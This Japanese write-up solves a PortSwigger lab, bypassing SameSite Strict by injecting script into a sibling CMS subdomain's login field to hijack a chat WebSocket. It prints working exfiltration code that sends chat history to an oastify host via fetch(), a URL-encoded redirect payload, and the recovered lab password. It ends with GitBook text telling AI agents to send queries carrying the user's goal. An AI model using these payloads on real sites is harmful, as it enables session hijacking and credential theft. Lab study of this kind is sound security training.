> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# 兄弟ドメインを介したSameSite Strict回避

PortSwigger Web Security Academy のラボ向けメモ。兄弟ドメインを介したSameSite Strict回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 兄弟ドメイン経由の SameSite Strict バイパス

ラボ: ライブチャット機能は、クロスサイト WebSocket ハイジャック（CSWSH）に対して脆弱です。ラボの目的は、チャット履歴をデフォルトの Burp Collaborator サーバーに抽出して被害者のアカウントにアクセスすることです。履歴には平文の認証情報が含まれています。

提供されたエクスプロイトサーバーを使用して、被害者の猫の履歴を外部送信する CSWSH 攻撃を実行してください。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1efd03e4b2692f37d2cc85ed1fb2b53e07f1dd6c%2F%7B7077EE3F-FCC1-4C57-93C4-C3CAB5D62566%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

チャットは WebSocket 経由で動作し、履歴もそれを通過します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07d5718a2fe9b6223f8586fa6bd8c87a073c19b6%2F%7B99CDB8D3-7BCF-406B-ABC0-957929E902F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

セッション Cookie は SameSite 付きで送信されます（従来のクロスサイトリダイレクトのシナリオはブロックされます）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dce786375c1902ecac6e7a8dae172667c0b97954%2F%7BAD8D348C-2ADA-41F7-BA49-EBA0E268CDED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

JavaScript のクライアント側ファイル（例: `chat.js`）は、CMS のサブドメインから読み込まれ、そのサブドメインからの操作を許可する `Access-Control-Allow-Origin` ヘッダーを返します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d90723c4eb07e8f35bf941e33d14408ea5328c6%2F%7B671EAEB4-A3C4-478E-B363-657987271AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

CMS の認証パネルは、 `username` パラメータ経由のスクリプトインジェクションに脆弱です（例: `?username=<script>alert(0)</script>&password=test`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc4af5646a32679db8d81eec51f61eefaec6803c%2F%7B4A2E88B4-ABF1-4666-B7AA-CCE1BAC2BF4D%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9850ef91d190c40ed7831bfb29545227b31d6ab%2F%7B8FAC89E0-C2E4-4E67-989C-72DAC9B97E9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d07aeedc483206f68d45886df17db0c21811e4b%2F%7B087408EC-76DA-4130-B9E6-9168FD20BFAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このインジェクションを使うと、脆弱なサブドメインのコンテキストで JavaScript を実行できるため、認証済みの WebSocket を chat サーバーに確立できます（その後、オリジンが同じなので Cookie が送信されます）。

### アプローチ（概要）

1. 悪意のあるスクリプトを `username` CMS サブドメインのログインフォームのパラメータに配置します。
2. このスクリプトは chat サーバーへの WebSocket 接続を開き、 `READY` シグナルを送信します。

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. WebSocket からメッセージ（猫の履歴）を受信すると、 `fetch` スクリプトはこれらのデータを（base64 で）エンコードして、攻撃者が制御するサーバー（OAST/Oastify）に送信します。

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dad7c08963473657fc10563368dfe5a5173da617%2F%7B4239C10B-F14F-4BAD-8DE4-C56725B89462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

エクスプロイトサーバー上でリダイレクトをホスト/配信し、被害者に脆弱な URL を訪問させます（ `username` を含むログイン）。

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### 観測された結果

* 外部送信されたクエリが受信されると、 `data` パラメータには base64 文字列が含まれていました。デコードすると猫の入室情報が得られます。
* 受信したペイロードの例（base64 デコード済み）:

```json
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c7b1128389ed1b05d24ac806481a5d850ff50f9%2F%7B70D4995F-55D5-4C8F-B32A-7D6EEE4107AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7d5c93cda77a0463ed943847aedc38a103c2914%2F%7BED87981F-0C21-4DF7-97AD-DCC251F79623%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

認証済みのコンテキスト（CMS サブドメイン）からインジェクションすることで、スクリプトはユーザーの会話を含むメッセージを送信し、この場合は認証情報を平文で含むメッセージを送信しました。

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### 抽出された認証情報（注記どおり）

* `carlos:hdf3fkk8h7tnltupqs5t` （猫の履歴で見つかった認証情報）

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"No problem carlos, it's hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470e2f3d8bb175bc144967a4c03220dfe145c2d1%2F%7BD71DB3CA-4B55-4DA1-A891-F5EC4C58E23F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
